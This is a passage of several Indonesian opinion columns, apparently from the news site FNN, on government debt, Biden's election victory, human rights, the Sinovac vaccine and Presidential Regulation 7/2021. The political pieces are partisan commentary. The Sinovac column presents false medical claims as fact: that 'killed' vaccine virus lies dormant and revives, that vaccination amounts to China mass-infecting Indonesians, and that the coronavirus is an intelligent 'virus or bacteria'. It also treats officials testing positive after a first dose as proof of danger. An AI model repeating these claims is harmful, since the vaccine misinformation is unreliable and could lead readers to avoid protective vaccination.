dengan sejumlah drama itu. Oleh karena itu, tidak salah jika di tengah masyarakat seringkali terdengar suara-suara sumbang atas kebijakan pemerintah, terutama dalam menangani Covid-19. "Utang lagi. Utang lagi. Ke mana saja utang itu digunakan," demikian kalimat sinis yang direkam dalam perbincangan di pangkalan ojek, warung kopi hingga di perkantoran elit. Wajar rakyat bersuara sinis seperti itu mengingat utang yang sudah mencapai Rp 6.000 triliun. Apalagi sebagian utang itu digunakan untuk penanganan Covid-19 yang justru dikorupsi. Akan menjadi masalah, jika suatu saat utang pemerintah didominasi mata uang asing, katakanlah 40 persen obligasi dipegang asing dan 20 sampai 30 persen utang dalam mata uang asing. Jika posisinya seperti itu, maka pemerintah berada dalam posisi rentan, dalam arti pemerintah mudah dijatuhkan karena persoalan utang dan ekonomi. **

Kemenangan Biden : Optimis Iya, Euphoria Tidak!

by Shamsi Ali New York City FNN- Dalam menilai sesuatu, manusia pastinya bersifat relatif. Karena selain memang keterbatasan, juga karena penilaian itu banyak ditentukan oleh situasi dan realita yang sedang menggeluti jalan pikirannya (mindset). Maka wajar jika pada akhirnya penilaian itu akan berbeda antara satu orang dengan orang yang lain. Kemenakan Joe Biden melawan Donald Trump pada Pilpres Amerika lalu ditanggapi ragam oleh banyak orang. Sebagian optimis, bahkan euphoria dengan kemenangan Biden. Sebagian lainnya pessimis dan khawatir dengan kemenangan itu. Apapun itu, pastinya kami masyarakat Maslim Amerika dan mayoritas bangsa Amerika legah dengan kemenangan Biden. Kemenangan ini juga berarti berakhirnya pemerintahan Donald Trump selama 4 tahun dengan segala beban dan permasalahannya. Mulai dari masalah rasisme, diskriminasi kepada segmen masyarakat minoritas, Muslim Ban. Politik isolasi dengan berbagai kebijakan unilateral, termasuk keluar dari World Health Organization (WHO). Ketidak seriusan dan inkapabilitas dalam menangani Covid yang menyebabkan hingga pagi ini 409,000 lebih warga Amerika meninggal dunia, hingga pengakuan Jerusalem sebagai Ibukota Israel sekaligus pemindahan Kedubes Amerika ke Jerusalem. Semua itu dan banyak lagi yang lain menjadikan komunitas Muslim merasa legah dengan berakhirnya kepresidenan Donald Trump di Amerika. Tentu bagi Umat Islam, hal yang paling berat adalah anti Islam Donald Trump secara pribadi, dan akhirnya membentuk lingkungan kebencian kepada Islam. Ada beban psikologis yang berat dalam empat tahun terakhir. Biden Antara Harapan & Kekhawatiran Kini Biden telah resmi jadi Presiden Amerika dan Kamala Harris sebagai Wakil Presiden Amerika. Kamala sendiri kembali mencetak sejarah sebagai wanita non white, berketurunan Jamaica-India, yang menduduki jabatan Wakil Presiden pertama di Amerika. Kemenangan Biden bagi masyarakat Amerika, atau tepatnya bagi mayoritas warga Amerika, termasuk Komunitas Muslim, memberikan optimisme tersendiri. Ada harapan bahwa Biden akan membawa perbaikan terhadap berbagai damages (kerusakan-kerusakan) yang telah dilakukan oleh Donald Trump selama menjabat Presiden. Termasuk image Amerika di dunia internasional yang sangat rusak akibat karakter Donald Trump yang cukup memalukan. Mungkin yang paling memalukan adalah kenyataan bahwa Donald Trump memang kekanak-kenakan dalam menyikapi proses demokrasi. Kekalahan yang cukup jelas dan signifikan, baik secara electoral (berdasarkan jumlah district) maupun secara popular votes (jumlah suara) tidak menjadikannya mau mengakui kekalahan itu. Tramp bahkan pada akhirnya, karena teori konspirasi mengatakan bahwa pilpres itu tidak jujur. Maka pada tanggal 6 Januari lalu terjadi pendudukan Capitol Hills pendukung Donald Trump. Sebuah peristiwa yang tidak saja merendahkan Amerika di mata dunia. Tetapi sesungguhnya merupakan pelecehan yang nyata kepada demokrasi itu sendiri. Kemenangan Biden memiliki harapan bahwa Amerika akan kembali rasional. Baik dalam kebijakan domestik maupun kebijakan global (foreign policy). Berbagai kebijakan yang sejalan dengan karakter Donald Trump dinilai banyak pihak tidak rasional dan ugal-ugalan. Secara domestic (kebijakan dalam negeri) misalnya, Donald Trump mengeluarkan Executive Order yang dikenal dengan Muslim Ban. Pelarangan orang-orang Islam dari beberapa negara mayoritas Muslim untuk masuk Amerika. Peraturan ini jelas oleh sebagian dianggap semena-semena karena tidak mempertimbangkan asas keadilan untuk semua (justice for all). Biden pada hari pertama menjadi Presiden langsung menanda tangani Executive Order yang salah satunya berisikan penghapusan aturan pelarangan orang-orang Islam masuk Amerika (Muslim Ban). Keputusan ini sangat melegakan warga Muslim. Karena tidak saja memang terasa bagi mereka yang dari negara-negara yang disebutkan dalam aturan. Tetapi suasana yang diakibatkan oleh aturan itu sangat merugikan Komunitas Muslim. Karena terasa kebencian dan diskriminasi sistem itu nyata. Kebijakan Donald Trump juga salah satunya membatalkan Deferred Action for Childhood Arrivals (DACA) atau status khusus bagi anak-anak di bawah umur yang masuk ke Amerika secara illegal. Pada masa Obama anak-anak yang berstatus illegal masuk Amerika di saat di bawah umur mendapat status kemudahan, termasuk izin kerja (work permit). Oleh Trump status tersebut berusaha dibatalkan. Mungkin hal yang paling terasa adalah penanganan Covid yang sejak awal terasa inkapabel dan tidak profesional. Bahkan ada kecenderungan setengah hati akibat teori konspirasi yang merasa bahwa Covid ini hanya asumsi, dan bukan realita. Karenanya Trump entah memang tidak punya rencana atau memang tidak mau menangani masalah Covid ini secara serius. Akibatnya Amerika menjadi negara yang paling terbanyak korban Covid. Bahkan bila dibandingkan dengan negara-negara berkembang. Tentu sangat kontras dengan asumsi yang terbangun bahwa Amerika adalah negara super power dunia. Biden sejak awal telah menjadikan penyelesaian Covid sebagai prioritàs utama pemerintahannya. Bahkan secara khusus sebelum pelantikannya, presiden terpilih telah membentuk tim khusus penanganan covid. Termasuk upaya vaksinasi sebagai bagian dari solusi. Harapan itu tentu besar. Biden nampaknya berusaha memenuhi aspirasi masyarakat luas. Termasuk pembentukan kabinet yang berwajah Amerika. Artinya, kabinet yang merangkul seluruh elemen masyarakat Amerika. Pada tataran inilah kemudian terjadi dilema. Maju kena, mundur kena. Karena ekslusifitas itulah yang kemudian menjadikan Biden harus mengakomodir semua keinginan warganya. Memang banyak keinginan warga yang terakomodir. Walau nampak sekali dalam pembentukan tim pemerintahan ini terasa “Kamala Power” atau pengaruh Kamala Harris dalam pembentukannya. Dari sekian anggota tim tersebut, ada sekitar 20-an keturunan India mewakili elemen warga India Amerika yang sangat kecil. Yang paling disoroti khususnya oleh sebagian Komunitas Muslim adalah pemilihan warga “gay dan transgender”pertama dalam tim pemerintahan Biden. Tetapi sekali lagi, itulah kontekwensi dari pemerintahan yang terbuka atau ekslusif. Dari semua harapan di tengah kekhawatiran-kekhawatiran itu, kebijakan luar negeri (Foreign Policy) Biden juga menjadi sorotan Umat, khususnya yang ada di negara-negara mayoritas Muslim. Bagaimana Biden akan menangani isu Palestina dan Jerusalem khususnya? Akankah Biden membalik keputusan Trump yang mengakui Jerusalem sebagai ibukota Israel secara sepihak? Bagaimana pula dengan isu-isu keumatan lainnya, termasuk Isu Uighur, Rohingyah, Kashmir, Yaman, Suriah dan lain-lain? Jawaban yang pasti adalah tidak ada salahnya optimis. Karena memang harusnya demikian. Tetapi kemenangan Biden tidak perlu terlalu disambut dengan euphoria berlebihan. Amerika tetap saja Amerika yang punya karakter dan kepentingan sendiri. Belum lagi tentunya kita harus sadar bahwa pada semua bangsa seringkali di balik layar itu ada “hidden power” (kekuatan tersembunyi) yang mengontrol setiap kebijakan. Pada akhirnya Umat Islam harus sadar bahwa perubahan nasib Umat ini tidak pernah dan memang tidak harus ditentukan oleh orang lain. Perubahan hanya akan terjadi ketika Umat ini sadar akan Urgensi melakukan perubahan itu. perubahan itu harusnya dimulai dari diri sendiri! Penulis adalah Imam di New York City & Presiden Nusantara Foundation.

HAM Indonesia: Jangan Ada Lagi Madam Bansos, Jenderal Drakula, Boneka Solo, dll

by Asyari Usman Medan, FNN - Sekitar 40 tahun lalu, di lingkungan Perserikatan Bangsa-Bangsa (PBB) diperkenalkan teori tentang tahapan-tahapan hak asasi manusia (HAM) yang seharusnya tertunaikan di seluruh dunia. Teori itu disebut “three generations human rights”. Yaitu, HAM tiga tahap (generasi). Yang paling dasar (first generation atau tahap pertama) yang disebut juga “negative rights” (disederhanakan menjadi “hak larangan”-red) adalah hak-hak yang sifatnya melarang pemerintah melakukan tindakan yang mencederai (melukai) warga negaranya. Ini termasuklah bebas dari penyiksaan dan pembunuhan di luar hukum (extrajudicial killing). Hak asasi level berikutnya disebut “second generation” (tahap kedua). Disebut pula sebagai “positive rights”. Yaitu, hak-hak yang sifatnya mengharuskan pemerintah menyediakan manfaat (benefit) sosial-ekonomi tertentu bagi warga negaranya. Termasuklah layanan kesehatan dan lingkungan kerja yang baik. Seterusnya, hak asasi level disebut “third generation” (tahap ketiga). Ini disebut “solidarity rights” yang mewajibkan pemerintah menghormati hak-hak rakyat secara kolektif, seperti hak pembangunan (fisik dan kapasitas), hak atas lingkungan bersih, hak atas ketenteraman (perdamaian), dlsb. Nah, di tahap mana HAM Indonesia? Tentu sangat jelas nasib rakyat ini kalau diacu ke konsep HAM tiga tahap itu. Cukup Anda tuliskan saja pertanyaan-pertanyaan ini. Pertama, apakah warga negara Indonesia sudah terbebas dari penyiksaan fisik dan pembunuhan di luar hukum (extrajudicial killing)? Jawabannya: BELUM huruf kapital. Capek kita meriset angka-angka tentang ini. Yang jelas, sejak masa kampanye Pilpres 2019 hingga pembunuhan 6 pemuda FPI pada 7 Desember 2020, bisa disimpulkan bahwa di tahap pertama saja HAM rakyat Indonesia belum tertunaikan. Kedua, apakah warga negara ini sudah mendapatkan pelayanan kesehatan yang tidak berbayar dan bagus? BELUM huruf besar juga. Kalau ada yang mengatakan sudah, hampir pasti dia baru bangun dari mimpi. Bagaimana dengan BPJS? Bukankah ini pelayanan tak berbayar? Pertanyaan untuk Anda: apakah Anda tidak membayar BPJS? Indonesia seharusnya mampu menyediakan layanan kesehatan tanpa bayaran apa pun jika kekayaan negara ini tidak dikelola untuk kepentingan pribadi dan kelompok. Negara mampu seandainya kekayaan rakyat tidak dikelola seperti benur lobster ala Edhy Prabowo, bansos ala Juliari Batubara, e-KTP ala Setya Novianto, pertambangan ala Luhut Panjaitan. Negara juga mampu kalau tidak ada korupsi Bank Century, BLBI, Bank Bali, Jiwasraya, Pertamina, plus BUMN-BUMN lainnya. Ketiga, apakah sudah terpenuhi hak pembangunan, lingkungan hidup yang bersih, di bawah suasana tenang, tenteram, dan relatif adil? Yang ini malah sangat jauh panggang dari api. Alias, tak bakalan pernah ada kalau menajemen ekonomi-sisial-politik (Ekosospol) masih berlanjut seperti sekarang. Pertanyaan keempat, apakah masih ada harapan untuk sampai ke HAM generasi ketiga (tahap ketiga)? Jawabannya, marilah terus berharap sambil berjuang mendidik anak-cucu Anda. Semoga mereka tidak menjadi seperti manusia-manusia yang hari ini menghancurleburkan Indonesia. Kita wajib menghasilkan generasi yang baik. Jangan sampai ada lagi Madam Bansos, Pangeran Lobster, Menko Segurus, Menko Sangkuni, Jenderal Drakula, Boneka Solo, Boneka Hambalang, Parasit Senayan, dll, yang berperan memperkuat serta melanggengkan kekuasaan otoriter-destruktif saat ini. Jika di masa depan masih ada penguasa dengan karakter-karakter seperti ini, Indonesia bakal menjadi negara paria. Penulis adalah Wartawan Senior FNN.co.id.

Faktanya, Vaksin Sinovac Terbukti "Bahaya"!

By Mochamad Toha Surabaya, FNN - Fakta: Vaksin Sinovac ternyata masih belum aman juga! Bahkan, beberapa pejabat ada yang terinfeksi Virus Corona (Covid-19) usai disuntik vaksin produk China tersebut. Setidaknya 2 pejabat di daerah sudah dinyatakan positif Covid-19. Apahabar.com, Kamis (22/1/2021) menulis, sepekan setelah disuntik vaksin Sinovac, Kepala Dinas Kesehatan (Kadinkes) Banjarmasin Machli Riyadi dikabarkan positif Covid-19. Machli menerima suntikan pertama vaksin Corona pada Kamis, 14 Januari 2021. Seperti diberitakan, Machli Riyadi mengikuti vaksin Covid-19 berbarengan dengan Walikota Banjarmasin Ibnu Sina di kantor Dinkes Kota Banjarmasin. “asanya lumayan,” ujar Ibnu usai divaksin kala itu, Kamis (14/1/2021). Fakta lainnya. KOMPAS.com, Jum’at (22/01/2021, 11:00 WIB), Bupati Sleman Sri Purnomo terkonfirmasi positif Covid-19 setelah pekan lalu menerima vaksin Sinovac. Saat ini, Sri Purnomo tengah menjalani isolasi mandiri di rumah dinas. “Hasil antigen kemarin dan hasil PCR tadi pagi itu (Bupati Sleman Sri Purnomo) positif (Covid-19),” ujar Sekda Kabupaten Sleman Harda Kiswaya, Kamis (21/1/2021). Harda menyampaikan, Bupati Sleman Sri Purnomo saat ini dalam kondisi baik. “Kami bersyukur setelah dilakukan foto scan paru-paru dan sebagainya alhamdulilah semuanya kondisinya sangat baik, jadi OTG. Beliau melakukan isolasi mandiri di rumah dinas,” ungkapnya. Berkaitan dengan Bupati Sleman yang terinfeksi Covid-19 usai divaksin, banyak rumor yang mengatakan bahwa ini disebabkan oleh bahan vaksin berupa virus yang dilemahkan, bahkan “dimatikan” alias inaktif. Benarkah demikian? Bolah jadi benar! Fakta lainnya lagi. Keluhan Kejadian Ikutan Pasca Imunisasi (KIPI) tidak banyak dialami oleh tenaga kesehatan (nakes) di Surabaya usai disuntik vaksin COVID-19. Dari catatan Dinas Kesehatan (Dinkes), KIPI hanya ada 22 kejadian. Melansir Gelora.co, Sabtu (23/1/2021), dari 22 kejadian tersebut, rinciannya yaitu: 7 orang mengalami merah atau ruam di lengan tempat divaksin, 5 orang mengalami gatal-gatal, 1 orang demam, dan 1 orang lagi muntah-mutah. “Tidak ada keluhan gejala berat, semuanya kategori KIPI ringan,” kata Plt Walikota Surabaya Whisnu Sakti Buana, Jum’at (22/1/2021). Dari laporan terakhir sudah ada 3.307 nakes yang telah menerima vaksinasi. Fakta KIPI Dokter JF yang divaksin, Kamis (21/1/2021), esoknya ditemukan tewas di dalam mobil yang diparkir di sebuah market yang berada di Jalan Sultan Mansyur, Kelurahan Bukit Lama, Kecamatan Ilir Barat I, Palembang, Sumatera Selatan, Jumat (22/1/2021). Seperti dilansir Kompas.com, Sabtu (23/01/2021, 21:14 WIB), Juru Bicara Satgas Covid-19 Palembang Yudhi Setiawan menegaskan, JF (49), dokter yang meninggal di dalam mobilnya bukan karena divaksin, tapi sakit jantung. Yudhi membenarkan jika JF disuntik vaksin Covid-19 pada Kamis (21/1/2021). Namun, pada saat divaksin tidak menunjukkan reaksi apapun. “Setelah disuntik itu ditunggu 30 menit. Selama itu, korban ini tidak menunjukkan gejala apapun, sehingga ini dipastikan bukan karena divaksin, tapi sakit jantung sesuai hasil pemeriksaan forensik,” kata Yudhi. Yudhi pun mengimbau kepada tenaga kesehatan untuk tidak takut divaksin. “Kematiannya (JF) tidak ada hubungannya sama sekali dengan vaksin,” tegasnya. Hal senada dikatakan dokter forensik RS M Hasan Bhayangkara Palembang Indra Nasution yang mengatakan bahwa JF meninggal buka karena vaksin. “Diduga sakit jantung, bukan karena vaksin. Memang sehari sebelumnya korban ini sempat disuntik vaksin,” katanya. Tapi, ia menegaskan kematian korban tidak ada hubungannya dengan itu. “Korban divaksin Kamis, meninggal diperkirakan Jumat. Kalau disuntik, pasti reaksinya lebih cepat. Kalau menurut saya, ini bukan karena vaksin, tapi jantung,” ujar Indra. Sebelumnya diberitakan, seorang dokter berinisial JF, ditemukan tewas di dalam mobilnya sendiri di sebuah market yang berada di Jalan Sultan Mansyur, Kelurahan Bukit Lama, Kecamatan Ilir Barat I, Palembang, Sumatera Selatan, Jumat (22/1/2021). Warga yang mengetahui itu kemudian menghubungi polisi. Polisi yang mendapat laporan langsung mendatangi lokasi kejadian dan mengevakuasi jasad korban ke RS Bhayangkara Palembang untuk dilakukan visum. Dari hasil pemeriksaan luar, dokter forensik menemukan bintik merah pendarahan yang disebabkan kekurangan oksigen di sekitar mata, wajah, tangan dan dada. Fakta-fakta yang dialami Bupati Sleman, Kadinkes Samarinda, 22 nakes Surabaya, maupun Dokter JF di atas sudah cukup membuktikan bahwa Vaksin Sinovac tidaklah “cukup aman” untuk program Vaksinasi Nasional untuk atasi Pandemi Covid-19. Apalagi, sebelumnya saat Uji Klinis yang dilakukan Tim Fakultas Kedokteran Universitas Padjadjaran Bandung juga terdapat 7 orang yang terinfeksi Covid-19. Terlepas dari masalah hitungan waktu masa inkubasi Covid-19, namun faktanya vaksin asal China itu ternyata tidak cukup efektif untuk herd immunity pada tubuh manusia. Mengapa kita masih memakai Vaksin Sinovac, meski “tidak aman”? Jejak digital menyebut, vaksin Sinovac itu terbuat dari virus corona yang telah “dilemahkan” atau “dimatikan”. Jika memang vaksin Sinovac yang dikirim untuk Indonesia itu dari virus Corona yang sudah "dimatikan”, itu sama saja dengan China sedang menginfeksi rakyat Indonesia dengan Covid-19 secara massal. Karena, seperti yang sering saya tulis, di antara virus yang “dimatikan” itu, dipastikan ada yang dorman atau tidur. Nah, yang dorman dan dikira mati itu pada saat atau dengan suhu tertentu akan hidup lagi! Catat! Virus atau bakteri corona itu mahluk hidup yang cerdas! Misalnya, bila virus corona dihantam desinfektan chemikal (kimia), maka asumsi umumnya mereka mati. Tapi, ternyata saat ini mutasi corona sudah lebih dari 500 karakter atau varian. Ternyata, karena gennya bermutasi, mutannya ada yang “bersifat” tidak hanya ke reseptor ACE-2 saja, tapi langsung menginfeksi sel-sel saraf. Ada juga yang langsung berikatan atau nempel di sel-sel darah merah. Sehingga manifestasi klinisnya seperti DB, tapi saat dites PCR: positif. Kasus seperti ini banyak ditemukan di pasien-pasien anak di rumah sakit. Izin WHO WHO sendiri berencana untuk memberikan izin penggunaan beberapa vaksin Covid-19 dari sejumlah produsen di negara Barat dan China dalam beberapa pekan hingga beberapa bulan mendatang. Melansir dari TribunSumsel.com, Jum’at (22 Januari 2021 13:54), ini bertujuan agar negara-negara miskin segera mendapatkan vaksin virus corona COVAX, skema penyediaan vaksin Covid-19 global yang dipimpin oleh WHO. WHO ingin menyediakan sedikitnya 2 miliar dosis vaksin corona di seluruh dunia tahun ini. Di mana 1,3 miliar dosis ditujukan untuk negara-negara miskin. Namun, hal ini menemui kendala seperti kurangnya dana yang mencukupi. Karena negara-negara kaya telah memesan vaksin dalam jumlah besar untuk mereka sendiri. Dalam perlombaan penyediaan vaksin, persetujuan regulator adalah kunci mengonfirmasikan efektivitas dan keamanan vaksin, dan untuk meningkatkan produksi. Tetapi beberapa negara miskin sangat bergantung pada persetujuan WHO karena memiliki kapasitas regulator yang terbatas. Sejauh ini WHO baru memberikan izin penggunaan kepada vaksin buatan BioNtech-Pfizer pada akhir Desember tahun lalu. Oleh karena itu, WHO “mempercepat” persetujuan penggunan darurat, menurut dokumen internal COVAX yang dilihat oleh kantor berita Reuters. Vaksin apa yang akan disetujui? Vaksin Covid-19 AstraZeneca dan diproduksi Serum Institute of India (SII) akan disetujui pada Januari ini atau Februari. Kepala Eksekutif SII Adar Poonawalla mengatakan bahwa pihaknya mengharapkan persetujuan WHO “dalam satu atau dua minggu ke depan”. Vaksin yang dikembangkan bersama Universitas Oxford ini telah diberikan izin penggunaan darurat di Inggris, sementara itu pemberian izin untuk di Uni Eropa dan AS dikabarkan sudah semakin dekat. Dokumen tersebut juga menyebutkan vaksin corona produksi Moderna yang didasarkan pada teknologi mRNA akan disetujui akhir Februari. Vaksin yang dikembangkan oleh Johnson & Johnson (J&J) - yang memiliki perjanjian tidak mengikat dengan Covax – juga direncanakan mendapat persetujuan WHO paling cepat pada Mei atau Juni. Selain itu, vaksin yang diproduksi di Korea Selatan oleh SK Bioscience dapat disetujui oleh WHO paling awal di pertengahan bulan Februari, dan vaksin asal 2 produsen China, Sinovac dan Sinopharm, akan disetujui paling cepat pada Maret. Oxford kembangkan vaksin untuk varian baru virus corona. Ilmuwan di Oxford bersiap untuk segera memproduksi versi baru dari vaksin mereka untuk memerangi kemunculan varian baru virus corona lebih menular yang ditemukan di Inggris, Afrika Selatan, dan Brazil. The Telegrapgh, Rabu (20/01/2021) menyebut, tim dari Universitas Oxford dan AstraZeneca sedang melakukan studi kelayakan untuk mengkonfigurasi ulang platform vaksin mereka yang bernama ChAdOx. Mengapa Sinovac belum disebut akan mendapat izin dan rekomendasi dari WHO? Menurut Al Jazeera, Sinovac disebut sebagai vaksin paling lemah jika dibandingkan dengan vaksin lainnya. Kabar itu disebutkan oleh Al Jazeera pada November tahun lalu, yang dimuat dalam tabel berdasarkan hasil uji klinis dari berbagai vaksin. Diantara 10 vaksin, Sinovac disebut-sebut vaksin paling bawah dalam menimbulkan respon imun. Sementara vaksin dengan respon imun tertinggi adalah Pfizer dengan angka mencapai 95 persen, sedangkan Sinovac tidak disebutkan dengan angka dan hanya disebutkan low. *** Penulis wartawan senior fnn.co.id

Pola Orde Baru Bangkit Melalui Perpres No.7/2021

KEKUASAAN Orde Baru memang telah berakhir dengan sikap Presiden Soeharto yang menyatakan berhenti sebagai Presiden pada 21 Mei 1998. Sejak itu segala organ kekuasaan penopang Orde Baru yang terkenal represip kepada kelompok opisi berakhir. Kebebasan bependapat, terutama untuk mengkritik penguasa hidup dan mendapatkan tempat yang luas. Sayangnya kebebasan mengkritik penyelenggara negara itu mau dibungkam kembali dengan Peraturan Presiden (Perpres) Nomor 7 Tahun 2021 Tentang Pencegahan dan Penaggulangan Ekstrimisme Berbasis Kekerasan yang Mengarah Pada Terorisme. Ahli Huku Tata Negara dari Universitas KhairunTernate Dr. Margarito Kamis menybutnya dengan nama “Perpres RAN PE”. Dulu, Orde Baru kokoh dan kuat selama 32 tahun. Karena didukung instrumen hukum dan senjata yang selalu mengawalnya. Instrumen sejata di tangan tentara, dengan Komando Operasi Pemulihan Keamanan dan Ketertiban (Kopkamtib). Panglima Kopkamtib (Pangkopkamtib) pernah dijabat Jendral TNI Soemitro, Laksamana TNI Sudomo dan Jendral TNI Benny Moedani. Belakangan, menjalang kejatuhannya, lembaga Kopkamtib diganti namanya dengan Badan Koordinasi Bantuan Pemantapan Stabilitas Nasional (Bakorstanas). Kerjanya masih sama. Kepala Bakorstanas secara ex officio dijabat Panglima ABRI. Kepala Bakorstanas pernah dijabat Jendral TNI Try Sutrisno, Jendral TNI Edi Sudrajat, Jendral TNI Feisal Tanjung dan Jendral TNI Wiranto. Tugas dan kerja Bakorstanas tetap sama dengan Kopkamtib. Cuma namanya yang disederhanakan agar tidak terkesan seram-seram dan menakutkan. Tugas pertama adalah mengawasi semua gerak-gerik, dan sepak-terjang kelompok masyarakat sipil (civil society) yang selalu kritis kepada penguasa. Apalagi yang berseberangan dengan kekasaan Orde Baru. Untuk kelompok yang pertama ini ada ex dan simpatisan Partai Sosialis Indonesia (PSI), pimipinan Prof. Sumitro Djoyohadukumo. Orde baru biasanya menyebut kelompok dengan “Sosialis Kanan atau Soska”. Sama dengan “Soska”, ada lagi kelompok “Ekstrim Kanan atau Eka”. Eka ini sebutan untuk kelompok Islam yang berlawanan dengan Orde Baru. Gabungan “Soska dan Eka”, sebagian tokoh-tokohnya terhimpun lagi dalam “Kelompok Kerja Petisi 50”. Beberapa jendral yang terkenal tidak sejalan, bahkan kritis kepada pemerintahan Soeharto bergabung di Petisi 50. Tercatat nama Lentnal Jendral TNI (Mar.)Ali Sadikin, Jendral TNI Abdul Haris Nasution, Jendral Polisi Hoegeng Iman Santoso, dan Letnal Jendral TNI HR. Dharsono. Perlakuan kekuasaan Orde Baru kepada kelompok sipil yang kritis seperti Soska, Eka dan Petisi 50 adalah “garap dan ajak orang-orangnya untuk bekerjasama dengan kekuasaan Orde Baru”. Kalau tidak mau diajak bekerjasama, maka langkah selanjutnya adalah jebloskan ke penjara. Karena keberadaan meraka dapat mengganggu stabilitas pembangunan nasional. Lalu apa pelanggaran pidana yang dilakukan kelompok Soska, Eka dan Petisi 50 itu? Soal itu sangat gampang dan sepele? Pasal itu tugas dan urusannya Kopkamtib, Bakorstanas, Polisi, Jaksa dan Hakim untuk cari dan menemukan pasalnya. Paling kurang sudah tersedia di Undang-Undng Nomor 11 Tahun 1963 Tentang Pemberantasan Kegiatan Subvensi, penggalan Presiden Soekarno, yang dibuat pada tahun 1963. Mungkin UU ini tujuannya untuk membungkam kelompok kritis. Undang-Undang Nomor 11 Tahun 1963 ini, meski dibuat oleh Sokarno, namun dipakai dengan sangat sempurna oleh Soeharto untuk melanggengkan kekuasaannya selama 32 tahun. Baru setelah BJ. Habibie berkuasa menggantikan Soeharto, setahun kemudian, tanggal 19 Mei 1999 undang-undang suversif ini resmi dicabut. Hebat dan mengagungkan Presiden Habibie yang ahli pesawat terbang ini. Tugas Kopkamtib atau Bakorstanas yang kedua adalah mengawasi sepak terjang dan kegiatan mantan aktivis dan anggota Partai Komunis Indonesia (PKI). Termasuk mengawasi para anak dan cucunya PKI Untuk kelompok yang kedua ini sandinya “ekstrim kiri atau Eki”. Harus dihalang-halangi dengan segala cara untuk tidak masuk menjadi anggota partai politik di Golkar, PDI dan PPP. Tidak sampai di situ saja. Simpatisan Eki juga dihambat dengan segala cara untuk menjadi Pegawai Negeri Sipil (PNS) dan pegawai di Badan Usama Milik Negara (BUMN) dan anak-cucu perusahaan BUMN. Stempel yang diberikan kepada anggota dan simpatisan Eki dengan para anak-cucunya adalah “tidak bersih lingkungan”. Ini stempel yang paling mengerikan, karena menjadi kematian perdata. Kini Presiden Jokowi membuat Perpres Nomor 7 Tahun 2021. Mungkin Jokowi saja anggap ektrimisme berbasis kekerasan yang mengarah pada terorisme semakin meningkat. Peningkatan itu tampaknya telah menciptakan kondisi rawan yang mengancam rasa aman dan stabilitas nasional. Bigitu kira-kira justifikasi sosiologis Presden Jikoiwi menerbitkan Perpres bercitarasa Orde Baru tersebut. Namun bila dicermati lebih lanjut, kebijakan Jokowi membuat Kepres Nomor 7/2021 ini bukan murni soal hukum dan ekstrimisme. Ini sepenuhnya masalah politik. Ini soal kalkulasi untung-rugi, selamat atau tidak mengahadapi datangnya situasi dan kemungkinan terburuk. Apalagi politik tidak mengenal benar atau salah. Politik itu urusan ketepatan mengkalkulasi perhitungan. Salah menghitung politik, bisa bernasib buruk. Bisa terjerembab ke jurang yang dalam. Nasib Jokowi mungkin saja tidak berbeda jauh dengan Soekarno, Soeharto dan Gus Dur di akhir masa jabatan. Untuk itu, Perpres Nomor 7/2021 ini tidak terbatas hanya ditujukan kepada mereka yang pernah dihukum karena melakukan pidana terorisme. Targetnya dari Perpres tersebut sangat luas. Karena terminologi ekstrimisme dalam Perpres ini sama sekali tidak dikenal dalam Undang-Undang Nomor 5 Tahun tentang Pemberantasan Tindah Pidana terorisme. Dengan demikian siapapun orangnya, yang karena keyakinannya berbicara kritis terhadap kebijakan pemerintah, maka siap-siaplah untuk dicap sebagai “orang ekstrim”. Perpres Nomor 7/2021 ini akan menempatkan siapapun kelompok masyarakat yang kritis kepada kekasaan Jokowi, akan diberikan stempel sebagai “orang ekstrim”. Kebijakan yang seperti ini sudah diprektekan oleh kekaisaran Yunani kuno dan manusia yang mengaku diri Tuhan Fir’aun di jaman bahula dulu. Namun kini dicoba untuk dihidupkan kembali. Kebijakan mengamankan kekuasaan ini diteruskan di Inggris, Francis dan Jerman di akhir 1800-an. Pada di awal tahun 1900-san pola ini dipakai lagi oleh Musolini, Stalin, Hitler, Yuri Andropov, Konstantin Chernenko, dan Joseph Broz Tito. Masa kebijakan dari kekuasaan yang primitif dan bar-bar seperti ini mau dipakai Pak Jokowi di era modern dan revolusi industri 4,0 (four point zero) lagi? Sebenarnya Presiden Jokowi tidak perlu membuat “Kepres Kepanikan” seperti ini untuk mengamankan kekuasaannya. Kalau saja tata kelola negara negara berjalan dengan baik dan benar sesuai konstitusi dan tujuan bernegara. Kalau Pak Jokowi tidak gagal dan berantakan mengurus pandemi covid-19. Kalau saja ekonmi di era Pak Jokowi tidak resesi, sehingga terjun bebas dengan pertumbuhan ekonomi minus. Kalau saja anak bangsa tidak dibelah kekuasaan menjadi pendukung pengausa dan bukan pendukung penguasa. Kalau saja Hukum berdiri tegak untuk semua anak bangsa. Kondisi ini semakin diperparah dengan persiapan dinasti politik di keluarga di Pak Jokowi. Apalagi dugaaan adanya “Anak Pak Lurah”, dan lingkaran istana yang terlibat korupsi dana Bantuan Sosial (Bansos) trilunan rupiah. Balum lagi kenyataan ini semakin diperparah dengan korupsi yang meningkat di era Pak Jokowi. Kader-kader partai penguasa terlibat masif atas kacaunya penyaluran Bansos dengan data data fiktif dan NIK ganda 17.760.000 orang, dengan nilai korupsi Rp. 5,238 triliun. Ada lagi korupsi Jiwasraya Rp. 16,8 triliun, korupsi Asabri Rp 17 triliun. Belakangan korupsi BPJS tenaga kerja Rp 43 triliun. Mungkin saja masih banyak lagi. Namun belum terungkap saja. Perpres Nomor 7/2021 mengkonfirmasi kepanikan Pak Jokowi untuk menyelamatkan kekuasaannya. Kepanikan itu telah didahului dengan penangkapan-penakapan terhadap aktivis dan tokoh krtis seperti Habib Rizieq Shihab (HRS), Dr. Syahganda Nainggolan, Jumhur Hidayat, Dr. Anton Permana, Ustazah Kingkin Anida dan para aktivis lainnya. Membungkam kelompok kritis melalui UU ITE rupanya belum cukup. Sehingga masih perlu Perpres Nomor 7/2021. Padahal cara ini telah dilakukan Soeharto untuk menyelamatkan singgasananya. Namun tidak berhasil. Akhirnya Soeharto tumbang juga. Maka belajarlah dari kejatuhan presiden yang sudah-sudah. Yang perlu untuk diingat juga adalah Soekarno dan Soeharto itu jatuh dari kekuasaannya saat Partai Demokrat berkuasa di Amerika. Partai Demokrat adalah wadah politik berkumpulnya para politisi dari kalangan Perguruan Tinggi dan Lembaga Swadaya Masyarakat (LSM). Partai Demokrat sangat konsen dan pedulu terhadap masalah-masalah demokratisasi, Hak Asasi Manusia (HAM), lingkungan, korupsi, buruh dan kearipan lokal. Sedangkan Partai Republik, tempat berkumpulnya para politisi dari kalangan pengusaha. Partai Republik ada pengusaha senjata, pengusaha minyak, gas (oil and 